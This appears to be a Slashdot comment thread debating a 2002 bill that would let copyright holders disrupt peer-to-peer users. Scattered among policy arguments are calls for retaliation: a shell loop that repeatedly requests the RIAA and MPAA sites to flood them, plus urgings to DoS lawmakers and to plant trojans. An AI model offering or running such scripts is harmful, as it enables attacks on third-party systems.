Remember that technically they are supposed to represent US, not the person/corporation with the biggest checkbook.
It may also do well to write your senators -- A similar bill will likely start up there eventualy, or if this mess passes the house it will wind up in the senate eventually.
Find your Representative and your Senators and make your opinion known.
(BTW - remember that paper letters are far more difficult to ignore than outraged emails. Especially en masse.)
/~mikeg
I am kind of curious what action could be taken in the event you do not have any of their copyrighted material? Also, what happens if I have some music shared, they start to DoS me, and I remove the incriminating material? If they fail to notice, and continue with their supposedly legal actions, can I then have them prosecuted for breaking the law?
Just curious if anyone here has enough experience with the legal system to know where that would stand.
If you bother READING THE BILL, this isn't as bad as it looks on it's face; the bill specifically defines only such actions against users of Peer to Peer fileshares. They cannot search your computer, only a filesharing program, and then act. As well, they specifically word it such that they can't attack a central system: ONLY a peer-based system. A dangerous first step, and I'm not happy with it, but it's not as huge a threat by itself. I'm especially unhappy that you really have no recourse if you don't loose money.
So I have an email address, which is unique, and I created, and in many cases for computer savvy people, are very creative.
I would argue that you can copyright this, and then DOS anyone who uses it without your permission. Spammers, marketers, friends, family, whoever....
The game's afoot!
I can't legally deface the webpage of the RIAA or else I would get in to a lot of trouble. If I directed an army of zombie computers to DDoS them, I would get in serious trouble. Those laws are fine and reasonable.
However, if they try to disrupt my internet service because I am sharing a file of a band of my friends that they gave me permission to share so that they can get exposure and try to do it legally, I will complain like no other.
The law must apply both ways. Computer security is paramount, but so does the sovereignity of individual property.
They should be tickled pink that there is such an interest in their music. They should encourage it so that they can get exposure. As to how they can make money is not up to me.
The record industry needs to get out from under the thumb of big radio and their demands for payola payments. That is way more harmful to big music than any idea an enthusiastic music fan who happens to be a good programmer and wants to listen to music will ever be.
I want a congressional investigation of Emmis, Clear Channel, and Infinity. It is time for Re-Regulation of radio and more independent means of distributions. Cartels are not in my interest.
I also do not want the possibility of my computer getting hacked. The internet is a free and open standard, not a corporate playground. My representative (William Lipinksi, or when I move, Rod Blagojovich), in addition to my Senators (Fitzgerald and Durbin) will hear about how much bullshit this is.
If the content cartel gets the legal right to hack computers, they are just asking for a huge fight from every determined computer science student, "hacker", cracker, pirate, warezer, d00d, and pissed off third world islamic terrorist who dont want their rights denied.
I say that everone in their firewall block traffic from the sites that try to hack them. Ban the RIAA's netblock and their bounty hunter hackers coming from corporations.
The Movie industry is one that I have no regrets at all for paying content for. I will pay $6 to see a new movie in the theater. I will pay $4 or less to rent a dvd from blockbuster. I think DVDs are the greatest thing since sliced bread. I think buying movies for $15-30 is a great deal on dvd. I know how to pirate movies but usually I dont because its too much damn work and the quality is very bad. I would much rather walk to blockbuster and rent it.
I dont want that to happen over the internet. It wont work worth a damn. Blockbuster is fine.
I dont want my computer dictated to. Screw windows, I am going to get a powerbook running Mac OS X, a system with real apps and a unix core to block out the content cartel demons.
Steve Jobs doesnt subscribe to the Palladium DRM bullshit. The iPod protection can be subverted easily, but I wont care because its my machine and mine only.
These people need to get a life. The RIAA needs to spend money making music, not trying to beat a dead horse. I say Fire Hilary Rosen!!! And for all the South Carolinans, please vote Hollings out of office! How is representing Hollywood in the interest of the citizens of South Carolina?
1) Copyright "Holders" can cause up to $50 in damage
2) This is after filing a notice 7 days in advance that must not be made public: Information contained in any notification under subsection 13 (c)(1)(A) may not be made available to the public under 14 section 552 of title 5. 15
3) If your files or network is impaired, and you lose over $250 in damages, you can file a claim with the justice department against your attacker
You are never notified that you are being attacked or that your rights have been violated. Just whom, may I ask, are you supposed to file a claim against?
And since 'economic loss' means monitory costs only lost productivity won't be covered.
The end is coming.
No, Thursday's out. How about never - is never good for you?
regardless of that, it's certainly a horrible, abominable thing when the government says "if you do this, you'll go to jail, unless you are a big corporation." this is the most grevious, heinous example of how much the US govt. is controlled by corporate interests.
That's nice, but I've done it before, I'm not a big corporation, and I didn't go to jail. Not necessarily talking about you, but there are too many people around here who like to make up these stupid persecution fantasies in their head and come up with the most absurd way that the government's going to take them away in shackles. Those people need to grow up and get out of their parents' basement and figure out what the world's really like and that everyone's not out to get them.
What's the going tax rate for paper and pens?
If I go to Canada to get the DeCSS code tattooed on my back will the government start charging burn victims for skin graphs?
Before you can be punished for a crime, isn't due process required? And even if you are found to be committing a crime, since when were victims allowed to decide and administer punishment? This is seriously messed up stuff going on here, for this sort of thing even to be suggested by one of our representatives -- let alone if it actually passes!
Sure, the MPAA can argue that it's defending it's copyrights when it aggressively attacks some server with copyright infringed mp3's, but those packets have to travel from their servers to the target, and in that path there's no guarentee that it won't affect innocent bystanders who happen to be trying to use network resources in that path?
Let's take it to an extreme and imagine something crazy like the MPAA deciding to take down some kid's cable modem ftp server on your local neighborhood by DDoSing it. You don't think that's going to leave you uneffected with your shared bandwidth? Or what about the time wasted by your ISP when they try to slow down a DDoS attack, when they may not instantly know whether it's a supposedly "legal" MPAA tactic, or some script kiddies?
If the MPAA/RIAA get there way on this legislation, screw it, instead of being a legal purchaser of CDs and DVDs, I will start cracking and ripping their work just on principle.
Where does the xxAA get their $$$ to buy politicians?
Everytime we see a movie in the theater (ching!), rent a movie at blockbuster (ching!), buy movie-theme-based products (ching!), watch through premium cable channels like HBO etc (ching!), buy a DVD/VHS (ching!), buy blank tapes/CDRs and pay the "pirate tax"(ching!), buy an audio CD of your favorite artist (ching!) we feed this monster.
I haven't been to a movie since 1999 and I quit watching TV since 2000.
Want to hurt them? Withdraw cold turkey.
Eternity: will that be smoking, or non-smoking? I Corinthians 6:9-10
That's what we're talking about here. Private individuals taking over the responsibilities of law enforcement and the courts. Not only will they be gaining unauthorized access to your private property, they will also be taking it upon themselves to judge you guilty and inflict whatever punishment they see fit. Where's the oversight? Where's the accountability? There's none. I always discounted warnings of corporations gaining too much power, simply because corporations only get the power governments give them. Now we see that governments may be all too willing to give it.
"Prejudice is wrong; you should hate everyone the same."
Mostly of the Congressmen/women that are voting on this just barely know how to use the computer for e-mail and other projects. They only know what MP3's are because their kids or lobbyist have told them. They are trying to lineup their pockets with the info the lobbyist are telling them. Don't forget this is also some great cannon fodder for them to get other things through too!
This SIG pulled due to lack of funding. (This damn war is costing too much!)
I suggest everyone in the US to go to their congressional representative and provide input like I did.. This is cut straight from my post to my Rep (David Wu, 1st CD OR)
To the Honorable Mr. Wu,
As a long time supporter of yours, I look forward to voting for you again this November.
It's always a pleasure voting for a man of your integrity and character.
I would like to address a bill recently put forward by a few of your colleagues,
Howard Berman, D-Calif., and Howard Coble, R-N.C. The bill they are sponsoring
is nothing short of legalizing vigilante justice.
The MPAA and RIAA are asking that they be allowed to perform what would
otherwise be federal and state criminal acts and civil torts, and everybody will have
essentially no remedy against them under any laws of the United States.
These oligopolies are attacking their own customers, and treating everyone as guilty
without trial or recourse. CDs are no cheaper than when they were introduced, and there
is only one movie chain in the county. They are bordering on illegal monopolies now
and giving them more power will make us all victims.
The gangster tactics of these organizations must be stopped. Please be a voice for
reason on behalf of your constituents and take every opportunity to defeat this bill.
This bill must not be allowed to become law.
I appreciate your time, and good luck on your re-election this November.
Thanks
That same part of the bill jumped out at me, too. Now I just can't decide who's stupider: The media cartels for taking so long to call in their bribes with our elected officials, our elected officials for not even being able to craft an airtight bill for their media masters, or the public for letting things get this far out of hand.
I mean, seriously, there should be some major outrage over this, but I'd probably die of shock if I ever saw a story about this on the evening news.
I'd suggest you don't use Slashdot as your only news source, or you will suffer permanent brain damage.
if this were to pass (which pray it will not, but still...) would it be a violation of the DMCA to have your firewall/router deny their packet floods?
Millions of "Slashdot.org" web site viewers were outraged when they learned that store owners could stop you at their doors, and keep you from stealing their merchandise.
Slashdot reader ACNeal was overheard on such a rant. "We should be able to steal anything we want. We speak out against legislative rememdies, techinical remedies, but this high brid legislative/technical solution is absolutely horrendous," ACNeal said. "The next thing you know, shop keepers will put up surveilance cameras in the store and watch shoppers. This is a clear violation of our privacy rights. So what if I stick somthing down my pants, it isn't their right to know what I have on my person."
This is a sad day for the freedom of all deliquents everywhere. So much caterwalling has been going on, that the infamous JonKatz has vowed to do an expose on the plight, featuring tear filled letters, documenting all the injustice.
We must be allowed to steal. Breaking the laws is the only way to show that they are unjust. Ignore the laws, and they will obviously be changed.
In the movie script business there is a form of copyright protection of scripts. You register your work with the writers guild and nobody gets to see it except under court order. The point being one of protection against what is called innocent plagerism.......(someone reads a script, thinks nothing of it and then a year later they re-invent it as their own, maybe without realizing it)
This proposed double standard basicly makes that serious crapola, as I'm sure many script writters use the internet.......in other words the entertainment industry is seriously shooting themselves in the foot.
And again the suits shoot the talent
I've had tons of (incredibly ignorant) folks DLing shareware and freeware from my machine. As I registered a copyright with the US copyright office back in 1984, I think I'll plant trojans in all the freeware and shareware on my HD.
I'll be looking in Microsoft machines, Sony machines- in fact, I'll be hacking and cracking (or attempting to) every BSA, MPAA, and RIAA member on the planet looking for copies of my copyrighted work.
Hey, if I delete all their files, it's an accident. Files gone? How can you prove they were worth $200 if they're all gone?
Come to think of it, the banks and credit card companies may have stolen a copy of my program, too.
And I'm SURE Berman's machine has a copy of my work on it, and I intend to prove it if I have to erase every file there!
This is going to be more fun than playing Quake! Hey, I'll bet the game companies have a copy too...
-steve
springfield fragfest
In my opinion, we should declare a DoS attack on all parties responsibile for allowing this thing to pass once this thing becomes law. Enough of this crap!
I therefore is important that somebody who works from home picks up a attempt to crack into their system and then goes after them for consequential damages. If I have to do a complete rebuild of an office system to resecure it, that is a good day or two's time and that is more than $250.
Like COPA, they can put an injunction on it -- which effectively puts the law on hold until the constitutionality can be figured out by the courts.
If my ISP charges me per GB I download/upload and they start spamming me with packets does this not mean I can sue them in a civil court to recover costs I have incured due to their activites?
This is the same as Telemarketers calling on your cell phone and using up your minutes.
At least in the third world country everything is under the table...here though, you publicly bribe...err...give donation to a member to do your bidding. Essentially anything you want can become a law.
Everyone together now...
mkdir riaa_annoyer
cd riaa_annoyer
while [ 1 ]
do
wget http://www.riaa.org
wget http://www.mpaa.org/home.htm
rm *
sleep 5
done
Two issues with that.
First, most of the users of p2p networks are home users who don't really do much other than play games, music, and otherwise entertain themselves. To the majority of users affected by this, it would actually be fairly difficult to claim $50 in damages.
Second, the way this law reads, as long as the MPAA's lynch mob reported the attacks to the government 7 days in advance and could claim that they reasonably expected they would only be hitting computers containing works violating their copyright, they could crash and burn any machine they wanted. Note that the bill clearly states that economic loss is limited to dollars. If they crash my hdd and I lose all the photos I haven't backed up to cd yet, there's no economic loss so I don't have cause to charge them criminally or sue them.
In addition, read d.1.a on page 5, which says you can't even seek recompense if your economic loss is less than $250. Thus, chances are my hardware damaged by such an attack, such as a hdd, won't even be of sufficient cost to seek damages.
Overall, I'd say this is vigilante justice of a type long frowned upon in this country.
If the MPAA or RIAA decides they want to DDoS him for sharing their material, it's darn sure going to impact my EverQuest and Warcraft III connections (as well as whatever more "legitimate" uses I may be putting my bandwidth to).
Will non-infringers who suffer such collateral damage have any recourse against the companies or trade groups who are "protecting their rights"?
Hmm...no cancelled checks in my account made out to any Congressmen, so I somehow doubt it.
Clearly, the repo man knows "Um, Jimmy hasn't paid his car payment in 2 months, that Accord is ours now." And it's part of the contract that the purchaser/lessor and the dealership/rent-to-own/whatever signed.
The most frightening part of this is the total lack of proof required. "Suspicion" to me means "Wow, that photo of Edinburgh Castle at night from CNN reminds me a lot of the one I took last year on vacation; time to find some 31337 5kr1p7s and r00t their j0x0rz." It's the equivalent of me being allowed to build a 50-foot wall around someone's house who I *think* *might have given* out a recording of my a cappella group's concert.
The legislative branch has a big inherent problem. If their predecessors did their jobs right, then theirs is essentially a maintenance function. But having the executive branch enforce current laws is much less attractive than having a Congresscritter propose a new law and get the airtime for it, because Congress doesn't get credit when the cops bust someone for violating existing laws. (*ahem* Look at gun control for a good example of this.)
These guys don't know much about DOS if they think they can just start throwing packets without consequences. They will only succeed in getting their ips banned by the major providers. Unless, of course they operate like the h4x0r crowd and install trojans on a variety of innocent users' machines.
Why do they think that other internet providers will allow them to clog up their net with a bunch of empty packets?
If this goes through Almost any DOS attack can be made legal.
For example:
Want to DoS attack "Joes okay Software Company"
I get a user account for the online users forum for "Joes Fake Program Users". I copyright some code for an addition to "Joes okay Program"
Then upload it to the Users Forum.
CALL DOJ...
Wait less time than it takes to get a handgun (Insert other topic rant here)
Then I get to shut down his site!!
Meanwhile "Bills CRAP Software Company" who hired me are still up and running and selling complete trash without compition.
Just do it, people. Don't be inflammatory, just ask whether or not they intend to support the bill (in its current form, or with modifications.)
http://www.house.gov/writerep/
Norm Dicks (Washington, 6th district) previously wrote back to one of my queries on the CBDTPA, with the response that he didn't support it. I'm hoping he's got similar views on this bill.
got standards? --- http://www.w3.org/
that means...
Honestly, if the RIAA thinks they can out-hack the free world... I can't wait to see what kind of hacker "copyright enforcement" groups emerge, and how they plan to *legally* rectally violate the RIAA's computers.
"find an RIAA's copyright violation" will become a national Internet pasttime, with "enforcement squads" ready to start their work. What a great incentive for bitter artists who have been cheated by RIAA go after them. They'll probably never see any money, especially from a minor copyright violation, but if it can be used to shut down the RIAA web site...
Incidentally, any truth to the rumor that the new RIAA proposal also provides that people sharing copyrighted works may be kicked in the reproductive organs? Makes as much sense, I suppose.
SubSection b.A states that only the file containing the copyrighted works can be affected. Any legitimate files must still be fully accessible and unaffected.
So following those lines share some random txt file you wrote. If they DDOS you sue them since the legitimate file was affected by their attack. You could probably even tip toe around the fact that you illegally had copyrighted works on your PC.
Of follow subsection b.C which states the file trader cannot sustain more than a $50.00 loss for any reason because of an attack.
They also have to notify the DOJ each time they want to do it. Now I'm going to be writing my representative tonight on this but realize that this is not an unrestricted license to hack by any means.
Easy on the anti-semeticism. I agree that the entertainment cartel needs more diversity in leadership. Eisner has ruined the pristine image of disney (Mirimax anyone?) Rosen is just a bitch. Redstone I dont care for because hes too old.
One thing I've not seen posited in the P2P arena is a technique analogous to the spread-spectrum military comms. Howabout splitting the [bigbadfile] into smaller binary chunks based on frequency of access. Sites host [bi], [igb], [gbad], [dfi], [ile].
Assume the chunks can be split arbitrarily, and the P2P s/w can do binary patches of overlapping data, surely this would prevent anyone claiming you were serving anything they had an interest in. A chunk of binary data from one site would be pretty much akin to a chunk of binary data from another. It's only in the entireity that copyright is held anyway, no? I can't believe someone has a copyright on middle-C...
Additional benefits come from the robustness of the distributed data. If you use a one-way hash of the text-to-search-on to the item-description and index by hash, then even the hosts wouldn't know what it was they were hosting, and splitting the files up into small chunks would abrogate their responsibility further.
Indexing it becomes more of a problem, but this is simply the same problem as we currently have, with the addition of a byte-range. The client simply has to fetch sufficient data to create the entire range.
You'd want hosts to merge chunks that were adjacent for efficiency, to within a host-defined fraction of the total size - you'd not want to be suddenly hosting an entire object or you're open to DOS'ing.
Use gzip/ssh to tunnel all comms (data and metadata) so it's hard to intercept. Add XML-RPC or similar so it can be tunnelled through a firewall webserver port. If you're really paranoid, add a steganographic mode where requests and data are embedded in mpeg/jpeg files in the lsb. You'd have to have rewritten compressors for steganography anyway, so preserving the high-frequency bits for data would be possible.
I've thought about doing something like this before. The fundamental flaw is that an open-source client can be modified to inject rubbish into the network. You can compensate for this with a slashdot-style moderation system. Operating on the principle that there are more IP addresses for us than for them, and letting every IP address have a '+' and a '-' vote per day per hosting server, bad files could be marked as such efficiently by having a 'Click here if it doesn't work' in the client GUI. If your IP's moderation is inconsistent with the majority then your moderation rights for that server are suspended for a while. I think that would work.
Just ideas...
Simon.
Physicists get Hadrons!
Self preserving networks should have a node notify it's peers if it's going under due to a traffic spike ("Avenge me my comrades . . . *gasp*"). At which point that node would tell a friend (or ten) to ping (or request a file if the attacker itself is on the p2p network) the attacker just to make sure they weren't injured in their own attack.
It would be like hitting somebody in the arm so they forget about their broken foot. It wouldn't be a DOS attack itself, just a thousand concerned P2Pers who want to make sure the MPAA's computers are in good enough health to continue their legal actions.
Look at what this guy gets paid to pass laws.
p ?C ID=N00008094&cycle=2002
:D
http://www.opensecrets.org/politicians/indus.as
HOWARD L. BERMAN (D-CA)
Top Industries
The top industries supporting Howard L. Berman are:
1 TV/Movies/Music $186,891
2 Lawyers/Law Firms $97,100
3 Pro-Israel $30,100
4 Real Estate $29,000
5 Public Sector Unions $22,000
6 Retired $21,050
7 Misc Unions $16,500
8 Human Rights $14,000
9 Lobbyists $12,750
10 Building Trade Unions $11,000
10 Automotive $11,000
12 Securities & Investment $9,550
13 Pharmaceuticals/Health Products $8,297
14 Misc Business $8,000
14 Misc Manufacturing & Distributing $8,000
14 Food Processing & Sales $8,000
14 Telecom Services & Equipment $8,000
18 Business Services $7,750
19 Transportation Unions $7,500
20 Computer Equipment & Services $7,250
Sounds like a CONFLICT OF INTEREST to me
Its cases like that where socialism is better.
----- Whats wrong with this picture? http://www.revoh.org:1234/whatswrong
Nice try but a /.'ing won't work on there!
Even if you could justify DoSing machines that are ditributing your copyrighted material freely, you may also be blocking other perfectly legitimate services provided by that machine such as other web pages, mail, etc.
Vote for Pedro
Bring it on.
All right fellow geeks, and those of you who don't define yourselves as geeks but still feel that this is an awful bit of legislation, this is not a time to DoS people.
This is a time to write to your Congressional Representatives. This is a time for everyone(and the "I don't live in the US" bit won't cut it-- you know that the MPAA will try to nail you no matter where you live) to write to multiple Congressional Reps and explain where you stand no matter where you live.
If that doesn't work...
Let the universe of discourse be wombats...
So if I send an mp3 of a song that you have a copyright on through hotmail, then you can hack hotmail as long as the mp3 resides on their server.. cool.. Hell, if I send e-mails out with a copyright notice and one of em gets forwarded chain letter style against my permission then I can hack into mail servers with impunity!
I just remember the Internet being great before we all forgot what it is for!
Perhaps, people should get together and just null route MPAA,RIAA,etc. networks anyway.
Hmmm, perhaps, I should setup some autodefense software, respond with 2x the packet load to source.
You must cause economic damage of MORE than $50.
A new application should be developed and I'm the one to do it. The idea should be available to everyone, (see, I pay attention and believe IP isn't P) so here it is:
Develope a new utility for file sharing programs which will coordinate with every computer on the system.
Everyone has a queue of files that they offer on the network. The utility will coordinate those queues so that everyone will offer exactly ONE file (such as the citizens outside the city in Fahrenheit 451 knew ONE book). After a certain number of downloads, it will switch that file with another file you offer, and respond that another computer with that file should start to offer it.
By switching these files often, and only actually offering ONE file at a time, they will not be able to legally DOS you (since you do not deliver a potential $50 in damages), especially if the file is no longer offered after 2 downloads.
Another function for this utility is the option to cycle through a users queue, although I'm not sure if I will allow you to view everything they have (it might be construed as to what monetary damage they have the potential to inflict).
I'm starting the project this weekend.
Notwithstanding
notwithstanding Pronunciation Key (ntwth-stndng, -wth-)
prep.
In spite of: The teams played on, notwithstanding the rain.
adv.
All the same; nevertheless: We proceeded, notwithstanding.
conj.
In spite of the fact that; although.
IN SPITE OF any other federal or state laws, they can do what they like.
Oh, and they can delete any file they want if it is "necessary" to prevent you from trading their copyrighted files.
Yes, it REALLY is that bad.
-- IANAEG - I am not an elder god.
This is dangerous. This law would give police power to a cartel? I know the polititions are bought off, but are elections rigged too? This can't be the best way to get votes.Surely the congress will wake up and wont be that stupid to pass this silly law.
Write a generic boy meets girl story.
Write a generic buddy road trip story.
Write a generic alien story.
Copyright them.
Submit them to each studio with registered mail.
Next time Hollywood releases a movie, Dos them because they stole your copyrighted script.
If this bill passed, couldn't I upload a file I owned the copyright for to any ftp server or to any user on irc who runs a file server, etc. and then legally DoS them?
Take illegal copies of Godard's Hail Mary and place them on the website of Rome's Special Police Force.
Meanwhile, place legal copies on the RIAA and MPAA websites and alter Rome's Chief Prosecutor.
Then sit back and watch the fur fly.
Mod Karma -1: I sed bad wurds. If I cep my mouf shut, I wud be at riyses.
I have a huge problem with this because at my college there are HUNDREDS if not THOUSANDS of people using kazaa and stuff.
What's gunna happen? Is my college network going to get DOS'ed into oblivion? What about your college network? They all going to get massively killed by the MPAA? What if these college students need to research the internet to find some stuff, but the line is overly saturated from all the garbage?
If this actually gets passed, I hope my college net blocks all P2P software, because I don't want to have to suffer the consequences for the actions of other people.
-PovRayMan
----------
Check out my blackbox styles
it's worth a try. as always, calls and letters are better than email... and it's quite cheap to call washington these days http://clerk.house.gov/members/index.php
Check out GNUnet.
:)
Completely encrypted and completely anonymous P2P file sharing. You can even cache the content of other nodes on the network based on ratings.
If this does pass, it will definitely be a good test of the anti-DoS and anti-traffic analysis design.
I read the bill. It seems there are quite a few problems. First off, DoS attacks seem to be prohibitied, because according to the bill the "remedy" the copyright holder is seeking must not harm any other part of the network. DoS attacks certainly cost ISPs thousands of dollars.
Secondly, the attacked "file trader" (to use the bill's terms) has recourse with the Attorney General, which the AG must respond to within 120 days! Can you imagine the backlog if any of the major groups went after individual traders? You could then file suit with the AG claiming you were wronged and seek damages. Seems like some enterprising individuals might even honeypot the copyright holders by putting out information that looks and awful lot like copyrighted material but turns out to be the audio from my last birthday party.
Thirdly, no modifications are supposed to be made to any of my files or data. Does that rule out buffer overflow attacks to disable my P2P program? Wouldn't that by necessity cause a change on my harddrive?
All in all, this seems like non-thought out policy bunk. I would be shocked if something like this passes Congressional muster. It'll probably cause quite a flap through Congress as it does, though.
-- What is this Earth thing you call "slow"?
What this is trying to do is make the MPAA an arm of the justice department, with their own rules and punishments, as well as the authority to put them to use. They "see" a crime, and they go out and exact a sentence, in the form of a DoS atack, all on their own. And I like how they can do it on "reasonable suspicion"... None of this messy "innocent until proven guilty" nonsense.
Eric
How the hell this happened? I mean, I know that there are some stupid politicians out there but I can't believe that anything like this has even been proposed. Well actually I'm surprised that it didn't make it into the "Patriot Act"
If MPAA hired guns do DDOS someone who is innocent, will this new law allow for recovery of damages from MPAA?
Dammy
"if such impairment does not, without authorization, alter, delete, or otherwise impair the integrity of any computer file or data residing on the computer of a file trader."
Good luck hacking or perpetrating a DoS attack against my machine without causing the logs to update, the i-node/file allocation table to change, or crashing my machine causing data in volitile memory to be lost. By their own rules, this document should be completely useless and unenforceable.
The entire /. community has successfully been trolled by the MPAA. Score one for them. This is noise, some arrogant egotists making noise about the slightly reduced profits they're seeing. Anyone with an ounce of sense would see what a futile, worthless and ultimately self-destructive gesture hacking and DoSing people would be - and thus - anyone actually working on a project like this would lack the requisite ounce.
The only thing they are really trying to get from this is one more club to beat the ISPs with, one more 'threat' that the lawyers can pull out when they're going after people.
If they are so far removed from reality that they actually try to do anything of the sort... well, how does the saying go about "Sowing the seeds of a wind..."
Here is a list of top contributors to Berman.
$187000 is all it took to get this bill introduced?
Why haven't geek-friendly organizations been able to buy their own congresspeople - or have they, and in that case, which ones?
When corporations gain the right to hack people and to take away their rights faster than the FBI with a warrant, something needs to be done. The MPAA must fall if this goes on, or us Americans are doomed to follow the corporations' instead of the best interest of the people. ShadowRun, anyone?
Job? I don't have time to get a job! Who will sit around and bitch about being broke and unemployed then?
I've been reading the short stories of Anton Chekhov. Click the link to read Gusev, one of his best imho.
A Scanner Darkly by Philip K. Dick was fantastic. I've got my wife reading Valis.
Read Naked Lunch if you haven't already. Don't expect it to make sense; just laugh at the funny parts. There are lots of funny parts. Did I ever tell you the one about the man who taught his asshole to talk?
Love is a Dog from Hell and Hot Water Music are the best by Charles Bukowski. You can really smell the urinal.
Edgar Allan Poe is a weird read, especially his comic work. Ya just don't expect youyrself to be laughing out loud over Poe.
I'd like to recommend Gravity's Rainbow by Thomas Pynchon but I just can't finish it. Every goddamn chapter has enough material in it for several novels already. Read the first third of it like I did, it's pretty good, also very funny.
Read these while listening to Capitol K, Jan Jelinek, the Handsome Family, Posthuman, and anything else that is a) astonishingly good and b) on an indie label.
A techie friend of mine is recommending a whole bunch of sci fi and fantasy authors I've never heard of, but he's a Microsoft weenie so I might have to disregard that shit and eat his skin.
G
And if you have reason to believe the MPAA, RIAA, or *anyone* has your material on their system, you could use this sort of thing yourself. Hint: send them an email (you can add a copyright notice, but the Berne convention doesn't even require that) just to be sure they have something of yours. :-)
The proof of this will be in the actions taken by the "authorities" with regards to their copyrighted material.
If they choose the 200 top users of "file-trading software" with their copyrighted material, and somehow DOS them (not clear that this would be easy anyway) then those clients will either change their IP addresses, create a new p2p id or whatever it takes to get back online. This is not the same as a legitimate means to remove them from this type of action. Wouldn't it make more sense for them to pass a law saying that those people who perform these nefarious acts can be removed from the internet for n days/months/years? This law is really not going to buy them much for two reasons.
If they successfully manage to squelch enough big-time file sharing users, they are hitting the same demographic that houses a large percentage of script kiddies (not to mention a few serious hackers). Likely the backlash will be a situation like the constant warfare between militant factions and governments where the eye for an eye policy is followed. The file sharers outnumber the "authorities" and probably have bigger guns as well as having the advantage of 'guerilla' tactics since they are scattered far and wide, as opposed to the media magnates sitting in their fortresses - They'd better update their firewall software. It'll be gross for their white hats for a while.
The second reason this won't work is because they just don't have the resources to get enough p2p users to make a difference. Honestly p2p users spawn like blowflies and the law appears to disallow the closing of the networks as long as viable users are not violating copyrights. This is a lame piece of legislation and probably will end up costing them more money via public confidence then they will ever 'protect' by defending their copyrights.
Attack of the clueless media magnates....coming soon to p2p near you.
This sig contains a manual self-destruct. Kindly please put your foot through your monitor in 8 seconds.
What this bill boils down to, is that a group wants a special privelege to defend itself against a crime that has technically not occurred. They're asking for the ability to act as an arm of the judicial system, wherein they can determine whether a crime has been committed and determine the proper remedy, and then become an agent of the executive, and actually dole out the punishment.
Not a whole lot of due process going on here.
I thought that DoS attacks are considered acts of terrorism under some new cyber-crimes law.
-- Thou hast strayed far from the path of the Avatar.
1). make an innocent box with legal material under incorrect filenames (i.e. metallica - sandman)
2). wait.
3). when they attack, sue them in a class action lawsuit for harassment, stalking, and any other personal crime, sue for 10% of their yearly income.
4). when they say that's outrageous, point out how much the court costs were of your income, not to mention the actual denial of your internet connection which you pid for.
5). press chages for them under the patriot act or something for hax0ring your computer.
you guys are clever, turn it against them.
Looking for Book Reviews? Check out Literary Escapism.
I am a linux newb, been using it heavy for maybe six months. Right now I have two PC's my win2k box that I use when I want to play games/VPN into work and my RH7.3 Box that I am tuning to use. I was going to keep doing this until I could get civ3, snnnrubspace, and VPN to work right on linux, but I cant wait any longer. All I need is to have a windows box open on a cable modem, its bad enough there are PFY that try daily to get on my box, now I gotta worry about money grubbing corps trying to see wht I am running? At least with linux I know that it would take enough effort that they may actually want to have a real reason first.
What about legalizing dos of Spamers?
"I'll have a Guinness, no wait, make that a Coors Light" -Grad student I work with, who shall remain anonymous...
Slowly losing faith in the US of A
begats Corporate lackys
--NitroPye
They'll get what's coming to them. And if they don't maybe we should give it to them!
Doesn't this all seem a little too cyberpunk-ish? A limited number of sprawling corporate zaibatsu dominating the commercial landscape; government effectively void in providing any kind of checks and balances to those who dwell within its borders; a massive, generally unaccounted-for population that ekes out a living by catering to the needs within their demesne; and a subculture of highly intelligent, pseudo-anarchic, technology-savvy hackers who cut their teeth by fighting the system, be it for fun, principle or profit.
At least, that's what I feel. Government now seems to be more of a career move than a principled institution; despite our economic power, our government pisses our cash away on pork barrel projects; the military isn't able account for trillions of dollars it's ostentsibly spent to protect the populace it was created to defend; and a business ideology that is both morally bankrupt and would seem omniscient, were it not for the efforts of individuals who make it their duty to rage against the machine.
Honestly, it all makes me think about expatriating. Maybe it's not a war in the conventional sense, but it's certainly an assault on one's sensibilities.
If the bill is passed, let's all do this:
Find an unused computer, hook it up, put hundreds of mp3 that are purely noises inside. Try to make them look like a copyright protected song -- it would be great if someone can find a way to make those files fool even the music finger-print tracker. Flood MPAA with all those faked mp3 files, let them shut your PC down, and let's see what we can do to shut their mouth up then.
People need to understand that this proposal would grant private parties powers and immunity that we wouldn't grant law enforcement. No demonstration of harm or probable cause to a Court, and a $50 fine amounts to a license to shoot fist and ask questions later.
Does anyone have a list of Committee members? I think that these folks need to each receive letters from the public on what an outrage this proposal. Yesterday, when word of this first appeared, I sent letters to my Congressman and Senators. I also sent one to the newspaper. I would write a letter to the Editor of the local newspaper in each of the Districts that these folks represent. Let the voters know just what the members of this committee are trying to do.
GNUnet - Completely encrypted and completely anonymous file sharing. It's designed to be resistant to attack, let's see them go after that once it's up to a few million nodes. ;)
Howard Berman's top contributers to 2002 campaign
Walt Disney Co $31,000
AOL Time Warner $28,050
Vivendi Universal $27,591
Viacom Inc $13,000
News Corp $11,750
American Fedn of St/Cnty/Munic Employees $10,000
DreamWorks SKG $10,000
William Morris Agency $10,000
Gang, Tyre et al $7,000
Sony Corp of America $7,000
By industry, the TV/Movies/Music industry contributed $186,891.
Howard Coble
Assn of Trial Lawyers of America $10,000
Winston & Strawn $5,515
Recording Industry Assn of America $5,374
National Assn of Broadcasters $5,360
ASCAP $5,000
National Assn of Realtors $5,000
Teamsters Union $5,000
Wal-Mart Stores $5,000
GlaxoSmithKline $4,999
National Cable Television Assn $4,999
Source Opensecrets.org
Does anyone really believe campaign finance reform will solve this problem?
You heard me.
Micro Hard Drives (mp3 players etc)
Current: no levy
Proposed: $21.00 per Gigabyte
Nomad Jukebox 3 20GB
Current: $699.99 CAD After Proposed Levy: $1119.99 CAD
They don't want the money, they just want to kill the market.
EA David Gardner -"... but the consumers have proven that actually what they want is fun."
Oh well, IRC was fun while it lasted.
So, if this bill passes, and someone don't like the moderation they recieve from a slashdot post... would they be able to request the post be removed from slashdot, else legally be permitted to attempt to DDoS and otherwise attack slashdot for holding copywrited material? After all, is not all written material considered copywrited unless otherwise agreed beforehand? I'd hate to have to sign a license agreement for every slashdot post.
Ryan Fenton
Ok, I just read the bill. I don't know what you have you panties in a wad about. Yes, theoretically some copyright holder could hire a hacker to attack your computer. But first they would have to notify you and the DOJ of their intentions. Failure to do so would invalidate their right to attack you. Anyway, there's a loophole. Make sure your file trading network isn't "open to the public" and the bill doens't apply to you.
I'm not sure why the corporate sponsors feel they need this law in the first place. Supposing they did hack or DoS a P2P site, can you imagine the site owner persuading The Man to prosecute the MPAA/RIAA for it? It would be like the BSA seeking a law that allowed them to perform software licence audits at victims' expense whenever they wanted. Or like Microsoft drafting a law allowing them to crush competitors.
I hear lots of crying "Ohh the big bad MPAA is going to hack my computer for pirating their movies!!"
